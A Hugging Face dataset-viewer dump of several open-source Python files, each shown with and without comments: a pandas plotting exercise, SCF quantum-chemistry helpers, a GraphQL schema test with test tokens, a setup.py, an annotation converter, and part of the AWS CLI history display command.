fumiyau/python_comments_free_500000 · Datasets at Hugging Face

f70154ae8605b52640bf200ccaaa8bf6ad001bf5

1,106

py

Python

Module3/assignment2.py

dipdeb/DAT210x

9103844fa7f76052bdcc5a4ec60e8afbc91a9f6b

[ "MIT" ]

null

Module3/assignment2.py

dipdeb/DAT210x

9103844fa7f76052bdcc5a4ec60e8afbc91a9f6b

[ "MIT" ]

null

Module3/assignment2.py

dipdeb/DAT210x

9103844fa7f76052bdcc5a4ec60e8afbc91a9f6b

[ "MIT" ]

null

import pandas as pd import matplotlib.pyplot as plt import matplotlib # Look pretty... # matplotlib.style.use('ggplot') plt.style.use('ggplot') # # TODO: Load up the Seeds Dataset into a Dataframe # It's located at 'Datasets/wheat.data' # wheat_df = pd.read_csv('/home/dipanjan/DAT210x/Module3/Datasets/wheat.data', index_col=0); # # TODO: Create a 2d scatter plot that graphs the # area and perimeter features # # .. your code here .. wheat_df.plot.scatter(x='area', y='perimeter') # # TODO: Create a 2d scatter plot that graphs the # groove and asymmetry features # # .. your code here .. wheat_df.plot.scatter(x='groove', y='asymmetry') # # TODO: Create a 2d scatter plot that graphs the # compactness and width features # # .. your code here .. wheat_df.plot.scatter(x='compactness', y='width') # BONUS TODO: # After completing the above, go ahead and run your program # Check out the results, and see what happens when you add # in the optional display parameter marker with values of # either '^', '.', or 'o'. wheat_df.plot.scatter(x='compactness', y='width', marker='o') plt.show()

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90

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import pandas as pd import matplotlib.pyplot as plt import matplotlib plt.style.use('ggplot') # wheat_df = pd.read_csv('/home/dipanjan/DAT210x/Module3/Datasets/wheat.data', index_col=0); # # TODO: Create a 2d scatter plot that graphs the # area and perimeter features # # .. your code here .. wheat_df.plot.scatter(x='area', y='perimeter') # # TODO: Create a 2d scatter plot that graphs the # groove and asymmetry features # # .. your code here .. wheat_df.plot.scatter(x='groove', y='asymmetry') # # TODO: Create a 2d scatter plot that graphs the # compactness and width features # # .. your code here .. wheat_df.plot.scatter(x='compactness', y='width') # BONUS TODO: # After completing the above, go ahead and run your program # Check out the results, and see what happens when you add # in the optional display parameter marker with values of # either '^', '.', or 'o'. wheat_df.plot.scatter(x='compactness', y='width', marker='o') plt.show()

true

f70155c72d7ad130cb57d825accdfa6901578200

4,547

py

Python

scf/scf_utils.py

hongzhouye/sigma-SCF

62e2dce538d1e68c4dc3c72fdf27beb1911e544f

[ "BSD-3-Clause" ]

4

2016-07-30T22:02:50.000Z

2018-08-02T23:46:15.000Z

scf/scf_utils.py

hongzhouye/sigma-SCF

62e2dce538d1e68c4dc3c72fdf27beb1911e544f

[ "BSD-3-Clause" ]

11

2017-08-04T20:34:04.000Z

2017-08-08T23:07:42.000Z

scf/scf_utils.py

hongzhouye/sigma-SCF

62e2dce538d1e68c4dc3c72fdf27beb1911e544f

[ "BSD-3-Clause" ]

null

import numpy as np import os, sys sys.path.append(os.path.dirname(__file__)) from diis_solver import diis_solver, diis_solver_uhf sys.path.pop() import jk import xform def homo_lumo_mix(C, nocc, beta): """ Mix a portion of LUMO to HOMO. Used when generating spin-unrestricted guess. """ if beta < 0. or beta > 1.: raise Exception("Mixing beta must be in [0, 1]") Cb = C.copy() homo = C[:, nocc - 1] lumo = C[:, nocc] Cb[:, nocc - 1] = (1. - beta) ** 0.5 * homo + beta ** 0.5 * lumo return Cb def get_dm(C, nel): D = C[:, :nel] D = D @ D.T return D def get_JK(is_fitted, g, D): if(is_fitted): # FINISH LATER X = np.einsum("Pls,ls->P", g, D) J = np.einsum("mnP,P->mn", np.swapaxes(g, 0, 2), X) Z = np.einsum("Pns,ls->Pnl", g, D) K = np.einsum('mlP,Pnl->mn', np.swapaxes(g, 0, 2), Z) return (J, K) else: #J = np.einsum("pqrs,rs->pq", g, D) #K = np.einsum("prqs,rs->pq", g, D) J, K = jk.getJK_np_Dshift(g, D - np.diag(np.diag(D) * 0.5)) return (J, K) def get_JK_uhf(is_fitted, g, Ds): """ Ds = [Da, Db] """ Da, Db = Ds[0], Ds[1] Dtot = Da + Db if (is_fitted == True): X = np.einsum("Pls,ls->P", g, Dtot) Jtot = np.einsum("mnP,P->mn", np.swapaxes(g, 0, 2), X) Za = np.einsum("Pns,ls->Pnl", g, Da) Ka = np.einsum('mlP,Pnl->mn', np.swapaxes(g, 0, 2), Za) Zb = np.einsum("Pns,ls->Pnl", g, Db) Kb = np.einsum('mlP,Pnl->mn', np.swapaxes(g, 0, 2), Zb) return Jtot, Ka, Kb else: Jtot = np.einsum("pqrs, rs -> pq", g, Dtot) Ka = np.einsum("prqs, rs -> pq", g, Da) Kb = np.einsum("prqs, rs -> pq", g, Db) return Jtot, Ka, Kb def get_fock(H, g, D): J, K = get_JK(len(g.shape) == 3, g, D) return H + 2 * J - K def diis_update(F_prev_list, r_prev_list): c = diis_solver(r_prev_list) # GET THE COEFFICIENTS!! out = 0 * F_prev_list[0] for i, element in enumerate(F_prev_list): out += c[i] * element return out def oda_update(dF, dD, dE): """ ODA update: lbd = 0.5 - dE / E_deriv """ E_deriv = np.sum(dF * dD) lbd = 0.5 * (1. - dE / E_deriv) if lbd < 0 or lbd > 1: lbd = 0.9999 if dE < 0 else 1.e-4 return lbd def get_fock_uhf(H, g, Ds): """ DIIS update given previous Fock matrices and error vectors. Note that if there are less than two F's, return normal F. """ Jtot, Ka, Kb = get_JK_uhf(len(g.shape) == 3, g, Ds) return H + Jtot - Ka, H + Jtot - Kb def diis_update_uhf(F_prev_lists, r_prev_lists): c = diis_solver_uhf(r_prev_lists[0], r_prev_lists[1]) Fa = 0 * F_prev_lists[0][0] for i, element in enumerate(F_prev_lists[0]): Fa += c[i] * element Fb = 0 * F_prev_lists[0][0] for i, element in enumerate(F_prev_lists[1]): Fb += c[i] * element return Fa, Fb def oda_update_uhf(dFs, dDs, dE): """ ODA update: lbd = 0.5 - dE / E_deriv """ if type(dFs) is not list: raise Exception("arg1 and arg2 are list of alpha/beta matrices.") E_deriv = np.sum(dFs[0] * dDs[0] + dFs[1] * dDs[1]) lbd = 0.5 * (1. - dE / E_deriv) if lbd < 0 or lbd > 1: lbd = 0.9999 if dE < 0 else 1.e-4 return lbd def diag(F, A): Fp = A.T @ F @ A eps, Cp = np.linalg.eigh(Fp) C = A @ Cp return eps, C def get_SCF_err(S, D, F): err_v = S @ D @ F - F @ D @ S err = np.mean(err_v ** 2) ** 0.5 return err, err_v def get_SCF_energy(H, F, D, unrestricted): """ Calculates the energy. """ if unrestricted == True: if type(F) is not list or type(D) is not list: raise Exception("For UHF, F and D must have type list.") Fa, Fb = F[0], F[1] Da, Db = D[0], D[1] Dtot = Da + Db return np.sum(Dtot * H + Da * Fa + Db * Fb) * 0.5 else: return np.sum((H + F) * D) def xform_2(H, A): """ Basis xform for 2-tensor """ if len(H.shape) != 2: raise Exception("Dimension error: arg1 should be a matrix") return A.T @ H @ A def xform_4(g, A): """ Basis xform for 4-tensor """ if len(g.shape) != 4: raise Exception(""" Dimension error: arg1 should be a four-tensor. Note that you should set is_fitted to be False. """) #return np.einsum("pi, qj, pqrs, rk, sl -> ijkl", A, A, g, A, A, optimize=True) return xform.xform_4_np(g, A)

25.982857

83

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import numpy as np import os, sys sys.path.append(os.path.dirname(__file__)) from diis_solver import diis_solver, diis_solver_uhf sys.path.pop() import jk import xform def homo_lumo_mix(C, nocc, beta): if beta < 0. or beta > 1.: raise Exception("Mixing beta must be in [0, 1]") Cb = C.copy() homo = C[:, nocc - 1] lumo = C[:, nocc] Cb[:, nocc - 1] = (1. - beta) ** 0.5 * homo + beta ** 0.5 * lumo return Cb def get_dm(C, nel): D = C[:, :nel] D = D @ D.T return D def get_JK(is_fitted, g, D): if(is_fitted): X = np.einsum("Pls,ls->P", g, D) J = np.einsum("mnP,P->mn", np.swapaxes(g, 0, 2), X) Z = np.einsum("Pns,ls->Pnl", g, D) K = np.einsum('mlP,Pnl->mn', np.swapaxes(g, 0, 2), Z) return (J, K) else: J, K = jk.getJK_np_Dshift(g, D - np.diag(np.diag(D) * 0.5)) return (J, K) def get_JK_uhf(is_fitted, g, Ds): Da, Db = Ds[0], Ds[1] Dtot = Da + Db if (is_fitted == True): X = np.einsum("Pls,ls->P", g, Dtot) Jtot = np.einsum("mnP,P->mn", np.swapaxes(g, 0, 2), X) Za = np.einsum("Pns,ls->Pnl", g, Da) Ka = np.einsum('mlP,Pnl->mn', np.swapaxes(g, 0, 2), Za) Zb = np.einsum("Pns,ls->Pnl", g, Db) Kb = np.einsum('mlP,Pnl->mn', np.swapaxes(g, 0, 2), Zb) return Jtot, Ka, Kb else: Jtot = np.einsum("pqrs, rs -> pq", g, Dtot) Ka = np.einsum("prqs, rs -> pq", g, Da) Kb = np.einsum("prqs, rs -> pq", g, Db) return Jtot, Ka, Kb def get_fock(H, g, D): J, K = get_JK(len(g.shape) == 3, g, D) return H + 2 * J - K def diis_update(F_prev_list, r_prev_list): c = diis_solver(r_prev_list) out = 0 * F_prev_list[0] for i, element in enumerate(F_prev_list): out += c[i] * element return out def oda_update(dF, dD, dE): E_deriv = np.sum(dF * dD) lbd = 0.5 * (1. - dE / E_deriv) if lbd < 0 or lbd > 1: lbd = 0.9999 if dE < 0 else 1.e-4 return lbd def get_fock_uhf(H, g, Ds): Jtot, Ka, Kb = get_JK_uhf(len(g.shape) == 3, g, Ds) return H + Jtot - Ka, H + Jtot - Kb def diis_update_uhf(F_prev_lists, r_prev_lists): c = diis_solver_uhf(r_prev_lists[0], r_prev_lists[1]) Fa = 0 * F_prev_lists[0][0] for i, element in enumerate(F_prev_lists[0]): Fa += c[i] * element Fb = 0 * F_prev_lists[0][0] for i, element in enumerate(F_prev_lists[1]): Fb += c[i] * element return Fa, Fb def oda_update_uhf(dFs, dDs, dE): if type(dFs) is not list: raise Exception("arg1 and arg2 are list of alpha/beta matrices.") E_deriv = np.sum(dFs[0] * dDs[0] + dFs[1] * dDs[1]) lbd = 0.5 * (1. - dE / E_deriv) if lbd < 0 or lbd > 1: lbd = 0.9999 if dE < 0 else 1.e-4 return lbd def diag(F, A): Fp = A.T @ F @ A eps, Cp = np.linalg.eigh(Fp) C = A @ Cp return eps, C def get_SCF_err(S, D, F): err_v = S @ D @ F - F @ D @ S err = np.mean(err_v ** 2) ** 0.5 return err, err_v def get_SCF_energy(H, F, D, unrestricted): if unrestricted == True: if type(F) is not list or type(D) is not list: raise Exception("For UHF, F and D must have type list.") Fa, Fb = F[0], F[1] Da, Db = D[0], D[1] Dtot = Da + Db return np.sum(Dtot * H + Da * Fa + Db * Fb) * 0.5 else: return np.sum((H + F) * D) def xform_2(H, A): if len(H.shape) != 2: raise Exception("Dimension error: arg1 should be a matrix") return A.T @ H @ A def xform_4(g, A): if len(g.shape) != 4: raise Exception(""" Dimension error: arg1 should be a four-tensor. Note that you should set is_fitted to be False. """) return xform.xform_4_np(g, A)

true

f701560ac0a3a86c789a437ba0a2eed06d2ca194

1,250

py

Python

tests/schema/test_schema.py

simonsobs/acondbs

6ca11c2889d827ecdb2b54d0cf3b94b8cdd281e6

[ "MIT" ]

null

tests/schema/test_schema.py

simonsobs/acondbs

6ca11c2889d827ecdb2b54d0cf3b94b8cdd281e6

[ "MIT" ]

24

2020-04-02T19:29:07.000Z

2022-03-08T03:05:43.000Z

tests/schema/test_schema.py

simonsobs/acondbs

6ca11c2889d827ecdb2b54d0cf3b94b8cdd281e6

[ "MIT" ]

1

2020-04-08T15:48:28.000Z

import pytest from .funcs import assert_query QUERY = ''' { __schema { types { kind name fields { name } } queryType { fields { name } } mutationType { fields { name } } subscriptionType { fields { name } } } } ''' ##__________________________________________________________________|| params = [ pytest.param( {"query": QUERY}, {"Authorization": "Bearer 90b2ee5fed25506df04fd37343bb68d1803dd97f"}, id="admin", ), pytest.param( {"query": QUERY}, {"Authorization": "Bearer 0fb8c9e16d6f7c4961c4c49212bf197d79f14080"}, id="private", ), pytest.param( {"query": QUERY}, {"Authorization": "Bearer 1a2d18f270df3abacfb85c5413b668f97794b4ce"}, id="public-wrong-token", ), pytest.param( {"query": QUERY}, {}, id="public-no-token", ), ] @pytest.mark.parametrize("data, headers", params) @pytest.mark.asyncio async def test_schema(app_users, snapshot, data, headers): await assert_query(app_users, snapshot, data, headers) ##__________________________________________________________________||

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import pytest from .funcs import assert_query QUERY = ''' { __schema { types { kind name fields { name } } queryType { fields { name } } mutationType { fields { name } } subscriptionType { fields { name } } } } ''' horization": "Bearer 90b2ee5fed25506df04fd37343bb68d1803dd97f"}, id="admin", ), pytest.param( {"query": QUERY}, {"Authorization": "Bearer 0fb8c9e16d6f7c4961c4c49212bf197d79f14080"}, id="private", ), pytest.param( {"query": QUERY}, {"Authorization": "Bearer 1a2d18f270df3abacfb85c5413b668f97794b4ce"}, id="public-wrong-token", ), pytest.param( {"query": QUERY}, {}, id="public-no-token", ), ] @pytest.mark.parametrize("data, headers", params) @pytest.mark.asyncio async def test_schema(app_users, snapshot, data, headers): await assert_query(app_users, snapshot, data, headers)

true

f70156a3a2fcf8fcc48c436b8d608cbe337dddd0

2,062

py

Python

setup.py

hannes-holey/hans

9604eedd70d54f3d4e2058fbc5b911e92e005e4f

[ "MIT" ]

1

2022-02-03T09:31:24.000Z

setup.py

hannes-holey/hans

9604eedd70d54f3d4e2058fbc5b911e92e005e4f

[ "MIT" ]

6

2022-02-03T09:24:24.000Z

2022-02-07T09:25:16.000Z

setup.py

hannes-holey/hans

9604eedd70d54f3d4e2058fbc5b911e92e005e4f

[ "MIT" ]

null

""" MIT License Copyright 2021 Hannes Holey Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from setuptools import setup, find_packages with open("requirements.txt", "r") as fh: requirements = [line.strip() for line in fh] setup(name='hans', description='Height-Averaged Navier-Stokes (HANS) solver for 2D lubrication problems', author='Hannes Holey', author_email='hannes.holey@kit.edu', url='http://github.com/hannes-holey/hans', license="MIT", packages=find_packages(), package_data={'': ['ChangeLog.md']}, include_package_data=True, scripts=['cli/plot1D_evolution.py', 'cli/plot1D_last.py', 'cli/plot2D_last.py', 'cli/plot_scalar.py', 'cli/read_config.py', 'cli/animate1D.py', 'cli/animate2D.py'], test_suite='tests', tests_require=["pytest>=4"], install_requires=requirements, python_requires=">=3.6", use_scm_version=True, setup_requires=['setuptools_scm>=3.5.0'], zip_safe=False)

38.185185

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from setuptools import setup, find_packages with open("requirements.txt", "r") as fh: requirements = [line.strip() for line in fh] setup(name='hans', description='Height-Averaged Navier-Stokes (HANS) solver for 2D lubrication problems', author='Hannes Holey', author_email='hannes.holey@kit.edu', url='http://github.com/hannes-holey/hans', license="MIT", packages=find_packages(), package_data={'': ['ChangeLog.md']}, include_package_data=True, scripts=['cli/plot1D_evolution.py', 'cli/plot1D_last.py', 'cli/plot2D_last.py', 'cli/plot_scalar.py', 'cli/read_config.py', 'cli/animate1D.py', 'cli/animate2D.py'], test_suite='tests', tests_require=["pytest>=4"], install_requires=requirements, python_requires=">=3.6", use_scm_version=True, setup_requires=['setuptools_scm>=3.5.0'], zip_safe=False)

true

f701581069cfd8be095c0662247dab35763588a4

4,161

py

Python

tools/accuracy_checker/accuracy_checker/annotation_converters/cvat_multilabel_recognition.py

APrigarina/open_model_zoo

b1ff98b64a6222cf6b5f3838dc0271422250de95

[ "Apache-2.0" ]

1,031

2020-07-16T08:30:57.000Z

2022-03-30T19:42:52.000Z

tools/accuracy_checker/accuracy_checker/annotation_converters/cvat_multilabel_recognition.py

APrigarina/open_model_zoo

b1ff98b64a6222cf6b5f3838dc0271422250de95

[ "Apache-2.0" ]

966

2020-07-16T08:13:00.000Z

2022-03-31T18:09:18.000Z

tools/accuracy_checker/accuracy_checker/annotation_converters/cvat_multilabel_recognition.py

APrigarina/open_model_zoo

b1ff98b64a6222cf6b5f3838dc0271422250de95

[ "Apache-2.0" ]

440

2020-07-16T12:52:50.000Z

2022-03-31T14:21:41.000Z

""" Copyright (c) 2018-2021 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import numpy as np from .format_converter import FileBasedAnnotationConverter, ConverterReturn from ..representation import MultiLabelRecognitionAnnotation from ..utils import read_xml, check_file_existence from ..config import StringField, PathField, ConfigError class CVATMultilabelAttributesRecognitionConverter(FileBasedAnnotationConverter): __provider__ = 'cvat_multilabel_binary_attributes_recognition' annotation_types = (MultiLabelRecognitionAnnotation, ) @classmethod def parameters(cls): configuration_parameters = super().parameters() configuration_parameters.update({ 'label': StringField(description='specific label for attribute collection'), 'images_dir': PathField( is_directory=True, optional=True, description='path to dataset images, used only for content existence check' ) }) return configuration_parameters def configure(self): super().configure() self.label = self.get_value_from_config('label') self.images_dir = self.get_value_from_config('images_dir') or self.annotation_file.parent def convert(self, check_content=False, progress_callback=None, progress_interval=100, **kwargs): annotation = read_xml(self.annotation_file) meta = annotation.find('meta') size = int(meta.find('task').find('size').text) label = self.select_label(meta) label_to_id = {attribute.find('name').text: idx for idx, attribute in enumerate(label.iter('attribute'))} num_attributes = len(label_to_id) annotations = [] content_errors = None if not check_content else [] for image_id, image in enumerate(annotation.iter('image')): identifier = image.attrib['name'].split('/')[-1] if check_content: if not check_file_existence(self.images_dir / identifier): content_errors.append('{}: does not exist'.format(self.images_dir / identifier)) for bbox in image: if 'label' not in bbox.attrib.keys() or bbox.attrib['label'] != self.label: continue bbox_rect = [ float(bbox.attrib['xtl']), float(bbox.attrib['ytl']), float(bbox.attrib['xbr']), float(bbox.attrib['ybr']) ] attributes = -np.ones(num_attributes) for attribute in bbox.iter('attribute'): attribute_name = attribute.attrib['name'] attribute_label = label_to_id[attribute_name] attributes[attribute_label] = 1 if attribute.text == 'T' else 0 attributes_annotation = MultiLabelRecognitionAnnotation(identifier, attributes) attributes_annotation.metadata['rect'] = bbox_rect annotations.append(attributes_annotation) if progress_callback is not None and image_id % progress_interval == 0: progress_callback(image_id * 100 / size) return ConverterReturn(annotations, self.generate_meta(label_to_id), content_errors) @staticmethod def generate_meta(attribute_values_mapping): return {'label_map': {value: key for key, value in attribute_values_mapping.items()}} def select_label(self, meta): label = [label for label in meta.iter('label') if label.find('name').text == self.label] if not label: raise ConfigError('{} does not present in annotation'.format(self.label)) return label[0]

46.233333

113

0.670031

import numpy as np from .format_converter import FileBasedAnnotationConverter, ConverterReturn from ..representation import MultiLabelRecognitionAnnotation from ..utils import read_xml, check_file_existence from ..config import StringField, PathField, ConfigError class CVATMultilabelAttributesRecognitionConverter(FileBasedAnnotationConverter): __provider__ = 'cvat_multilabel_binary_attributes_recognition' annotation_types = (MultiLabelRecognitionAnnotation, ) @classmethod def parameters(cls): configuration_parameters = super().parameters() configuration_parameters.update({ 'label': StringField(description='specific label for attribute collection'), 'images_dir': PathField( is_directory=True, optional=True, description='path to dataset images, used only for content existence check' ) }) return configuration_parameters def configure(self): super().configure() self.label = self.get_value_from_config('label') self.images_dir = self.get_value_from_config('images_dir') or self.annotation_file.parent def convert(self, check_content=False, progress_callback=None, progress_interval=100, **kwargs): annotation = read_xml(self.annotation_file) meta = annotation.find('meta') size = int(meta.find('task').find('size').text) label = self.select_label(meta) label_to_id = {attribute.find('name').text: idx for idx, attribute in enumerate(label.iter('attribute'))} num_attributes = len(label_to_id) annotations = [] content_errors = None if not check_content else [] for image_id, image in enumerate(annotation.iter('image')): identifier = image.attrib['name'].split('/')[-1] if check_content: if not check_file_existence(self.images_dir / identifier): content_errors.append('{}: does not exist'.format(self.images_dir / identifier)) for bbox in image: if 'label' not in bbox.attrib.keys() or bbox.attrib['label'] != self.label: continue bbox_rect = [ float(bbox.attrib['xtl']), float(bbox.attrib['ytl']), float(bbox.attrib['xbr']), float(bbox.attrib['ybr']) ] attributes = -np.ones(num_attributes) for attribute in bbox.iter('attribute'): attribute_name = attribute.attrib['name'] attribute_label = label_to_id[attribute_name] attributes[attribute_label] = 1 if attribute.text == 'T' else 0 attributes_annotation = MultiLabelRecognitionAnnotation(identifier, attributes) attributes_annotation.metadata['rect'] = bbox_rect annotations.append(attributes_annotation) if progress_callback is not None and image_id % progress_interval == 0: progress_callback(image_id * 100 / size) return ConverterReturn(annotations, self.generate_meta(label_to_id), content_errors) @staticmethod def generate_meta(attribute_values_mapping): return {'label_map': {value: key for key, value in attribute_values_mapping.items()}} def select_label(self, meta): label = [label for label in meta.iter('label') if label.find('name').text == self.label] if not label: raise ConfigError('{} does not present in annotation'.format(self.label)) return label[0]

true

f701593506fcf4f739f92e926ff4b2ac42373413

15,435

py

Python

bin/awscli/customizations/history/show.py

iilness2/bash-lambda-layer-custom

0b054d4ccb0623460354ba1f58059258c095a494

[ "MIT" ]

399

2018-12-09T14:38:30.000Z

2022-03-31T19:34:05.000Z

bin/awscli/customizations/history/show.py

iilness2/bash-lambda-layer-custom

0b054d4ccb0623460354ba1f58059258c095a494

[ "MIT" ]

64

2018-12-10T01:34:46.000Z

2022-01-13T14:04:34.000Z

bin/awscli/customizations/history/show.py

iilness2/bash-lambda-layer-custom

0b054d4ccb0623460354ba1f58059258c095a494

[ "MIT" ]

80

2018-12-10T10:36:53.000Z

2022-03-22T13:40:32.000Z

# Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompanying this file. This file is # distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF # ANY KIND, either express or implied. See the License for the specific # language governing permissions and limitations under the License. import datetime import json import sys import xml.parsers.expat import xml.dom.minidom import colorama from awscli.compat import six from awscli.customizations.history.commands import HistorySubcommand from awscli.customizations.history.filters import RegexFilter class Formatter(object): def __init__(self, output=None, include=None, exclude=None): """Formats and outputs CLI history events :type output: File-like obj :param output: The stream to write the formatted event to. By default sys.stdout is used. :type include: list :param include: A filter specifying which event to only be displayed. This parameter is mutually exclusive with exclude. :type exclude: list :param exclude: A filter specifying which events to exclude from being displayed. This parameter is mutually exclusive with include. """ self._output = output if self._output is None: self._output = sys.stdout if include and exclude: raise ValueError( 'Either input or exclude can be provided but not both') self._include = include self._exclude = exclude def display(self, event_record): """Displays a formatted version of the event record :type event_record: dict :param event_record: The event record to format and display. """ if self._should_display(event_record): self._display(event_record) def _display(self, event_record): raise NotImplementedError('_display()') def _should_display(self, event_record): if self._include: return event_record['event_type'] in self._include elif self._exclude: return event_record['event_type'] not in self._exclude else: return True class DetailedFormatter(Formatter): _SIG_FILTER = RegexFilter( 'Signature=([a-z0-9]{4})[a-z0-9]{60}', r'Signature=\1...', ) _SECTIONS = { 'CLI_VERSION': { 'title': 'AWS CLI command entered', 'values': [ {'description': 'with AWS CLI version'} ] }, 'CLI_ARGUMENTS': { 'values': [ {'description': 'with arguments'} ] }, 'API_CALL': { 'title': 'API call made', 'values': [ { 'description': 'to service', 'payload_key': 'service' }, { 'description': 'using operation', 'payload_key': 'operation' }, { 'description': 'with parameters', 'payload_key': 'params', 'value_format': 'dictionary' } ] }, 'HTTP_REQUEST': { 'title': 'HTTP request sent', 'values': [ { 'description': 'to URL', 'payload_key': 'url' }, { 'description': 'with method', 'payload_key': 'method' }, { 'description': 'with headers', 'payload_key': 'headers', 'value_format': 'dictionary', 'filters': [_SIG_FILTER] }, { 'description': 'with body', 'payload_key': 'body', 'value_format': 'http_body' } ] }, 'HTTP_RESPONSE': { 'title': 'HTTP response received', 'values': [ { 'description': 'with status code', 'payload_key': 'status_code' }, { 'description': 'with headers', 'payload_key': 'headers', 'value_format': 'dictionary' }, { 'description': 'with body', 'payload_key': 'body', 'value_format': 'http_body' } ] }, 'PARSED_RESPONSE': { 'title': 'HTTP response parsed', 'values': [ { 'description': 'parsed to', 'value_format': 'dictionary' } ] }, 'CLI_RC': { 'title': 'AWS CLI command exited', 'values': [ {'description': 'with return code'} ] }, } _COMPONENT_COLORS = { 'title': colorama.Style.BRIGHT, 'description': colorama.Fore.CYAN } def __init__(self, output=None, include=None, exclude=None, colorize=True): super(DetailedFormatter, self).__init__(output, include, exclude) self._request_id_to_api_num = {} self._num_api_calls = 0 self._colorize = colorize self._value_pformatter = SectionValuePrettyFormatter() if self._colorize: colorama.init(autoreset=True, strip=False) def _display(self, event_record): section_definition = self._SECTIONS.get(event_record['event_type']) if section_definition is not None: self._display_section(event_record, section_definition) def _display_section(self, event_record, section_definition): if 'title' in section_definition: self._display_title(section_definition['title'], event_record) for value_definition in section_definition['values']: self._display_value(value_definition, event_record) def _display_title(self, title, event_record): formatted_title = self._format_section_title(title, event_record) self._write_output(formatted_title) def _display_value(self, value_definition, event_record): value_description = value_definition['description'] event_record_payload = event_record['payload'] value = event_record_payload if 'payload_key' in value_definition: value = event_record_payload[value_definition['payload_key']] formatted_value = self._format_description(value_description) formatted_value += self._format_value( value, event_record, value_definition.get('value_format') ) if 'filters' in value_definition: for text_filter in value_definition['filters']: formatted_value = text_filter.filter_text(formatted_value) self._write_output(formatted_value) def _write_output(self, content): if isinstance(content, six.text_type): content = content.encode('utf-8') self._output.write(content) def _format_section_title(self, title, event_record): formatted_title = title api_num = self._get_api_num(event_record) if api_num is not None: formatted_title = ('[%s] ' % api_num) + formatted_title formatted_title = self._color_if_configured(formatted_title, 'title') formatted_title += '\n' formatted_timestamp = self._format_description('at time') formatted_timestamp += self._format_value( event_record['timestamp'], event_record, value_format='timestamp') return '\n' + formatted_title + formatted_timestamp def _get_api_num(self, event_record): request_id = event_record['request_id'] if request_id: if request_id not in self._request_id_to_api_num: self._request_id_to_api_num[ request_id] = self._num_api_calls self._num_api_calls += 1 return self._request_id_to_api_num[request_id] def _format_description(self, value_description): return self._color_if_configured( value_description + ': ', 'description') def _format_value(self, value, event_record, value_format=None): if value_format: formatted_value = self._value_pformatter.pformat( value, value_format, event_record) else: formatted_value = str(value) return formatted_value + '\n' def _color_if_configured(self, text, component): if self._colorize: color = self._COMPONENT_COLORS[component] return color + text + colorama.Style.RESET_ALL return text class SectionValuePrettyFormatter(object): def pformat(self, value, value_format, event_record): return getattr(self, '_pformat_' + value_format)(value, event_record) def _pformat_timestamp(self, event_timestamp, event_record=None): return datetime.datetime.fromtimestamp( event_timestamp/1000.0).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] def _pformat_dictionary(self, obj, event_record=None): return json.dumps(obj=obj, sort_keys=True, indent=4) def _pformat_http_body(self, body, event_record): if not body: return 'There is no associated body' elif event_record['payload'].get('streaming', False): return 'The body is a stream and will not be displayed' elif self._is_xml(body): # TODO: Figure out a way to minimize the number of times we have # to parse the XML. Currently at worst, it will take three times. # One to determine if it is XML, another to stip whitespace, and # a third to convert to make it pretty. This is an issue as it # can cause issues when there are large XML payloads such as # an s3 ListObjects call. return self._get_pretty_xml(body) elif self._is_json_structure(body): return self._get_pretty_json(body) else: return body def _get_pretty_xml(self, body): # The body is parsed and whitespace is stripped because some services # like ec2 already return pretty XML and if toprettyxml() was applied # to it, it will add even more newlines and spaces on top of it. # So this just removes all whitespace from the start to prevent the # chance of adding to much newlines and spaces when toprettyxml() # is called. stripped_body = self._strip_whitespace(body) xml_dom = xml.dom.minidom.parseString(stripped_body) return xml_dom.toprettyxml(indent=' '*4, newl='\n') def _get_pretty_json(self, body): # The json body is loaded so it can be dumped in a format that # is desired. obj = json.loads(body) return self._pformat_dictionary(obj) def _is_xml(self, body): try: xml.dom.minidom.parseString(body) except xml.parsers.expat.ExpatError: return False return True def _strip_whitespace(self, xml_string): xml_dom = xml.dom.minidom.parseString(xml_string) return ''.join( [line.strip() for line in xml_dom.toxml().splitlines()] ) def _is_json_structure(self, body): if body.startswith('{'): try: json.loads(body) return True except json.decoder.JSONDecodeError: return False return False class ShowCommand(HistorySubcommand): NAME = 'show' DESCRIPTION = ( 'Shows the various events related to running a specific CLI command. ' 'If this command is ran without any positional arguments, it will ' 'display the events for the last CLI command ran.' ) FORMATTERS = { 'detailed': DetailedFormatter } ARG_TABLE = [ {'name': 'command_id', 'nargs': '?', 'default': 'latest', 'positional_arg': True, 'help_text': ( 'The ID of the CLI command to show. If this positional argument ' 'is omitted, it will show the last the CLI command ran.')}, {'name': 'include', 'nargs': '+', 'help_text': ( 'Specifies which events to **only** include when showing the ' 'CLI command. This argument is mutually exclusive with ' '``--exclude``.')}, {'name': 'exclude', 'nargs': '+', 'help_text': ( 'Specifies which events to exclude when showing the ' 'CLI command. This argument is mutually exclusive with ' '``--include``.')}, {'name': 'format', 'choices': FORMATTERS.keys(), 'default': 'detailed', 'help_text': ( 'Specifies which format to use in showing the events for ' 'the specified CLI command. The following formats are ' 'supported:\n\n' '<ul>' '<li> detailed - This the default format. It prints out a ' 'detailed overview of the CLI command ran. It displays all ' 'of 